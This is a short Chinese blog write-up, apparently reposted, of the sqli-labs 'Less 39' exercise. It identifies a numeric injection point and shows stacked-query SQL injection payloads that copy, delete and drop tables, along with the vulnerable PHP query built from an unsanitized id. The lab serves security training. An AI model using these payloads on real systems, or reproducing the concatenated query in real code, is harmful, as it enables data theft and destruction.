Sqli labs less 39

bigao • • 数据库技术 • 256 阅读

1.常规方法测试报错

 2.将后面的消息注释发现报错依旧存在，因此判断本less为数值型注入

 3.使用堆叠注入，参考less 38

?id=1;CREATE TABLE WhiteMoon LIKE users;--+
?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1;DELETE FROM WhiteMoon;--+
?id=1;DROP TABLE WhiteMoon;--+
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";

Sqli labs less 39

原文：https://www.cnblogs.com/chensicha/p/15268468.html

以上是Sqli labs less 39的全部内容。
THE END
分享
二维码
< <上一篇
下一篇>>